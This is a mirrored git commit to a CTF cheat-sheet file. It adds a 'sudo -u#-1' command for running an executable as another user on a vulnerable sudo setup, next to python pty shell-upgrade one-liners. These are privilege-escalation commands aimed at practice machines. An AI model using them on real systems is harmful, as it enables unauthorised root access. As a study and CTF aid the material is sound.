mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-22 20:13:02 +00:00
Update Cheat Sheet.md
This commit is contained in:
parent
d3dffc002f
commit
b5d7251560
1 changed files with 2 additions and 1 deletions
|
@ -11,8 +11,9 @@
|
||||||
* python -c 'import pty;pty.spawn("/bin/bash")'
|
* python -c 'import pty;pty.spawn("/bin/bash")'
|
||||||
* python3 -c 'import pty;pty.spawn("/bin/bash")'
|
* python3 -c 'import pty;pty.spawn("/bin/bash")'
|
||||||
|
|
||||||
### Vulnerable sudo version
|
### Vulnerable sudo (ALL,!root)
|
||||||
`sudo -u#-1 whoami`
|
`sudo -u#-1 whoami`
|
||||||
|
`sudo -u#-1 <path_of_executable_as_other_user>`
|
||||||
|
|
||||||
### Execute as diffent user
|
### Execute as diffent user
|
||||||
`sudo -u <user> <command>`
|
`sudo -u <user> <command>`
|
||||||
|
|
Loading…
Reference in a new issue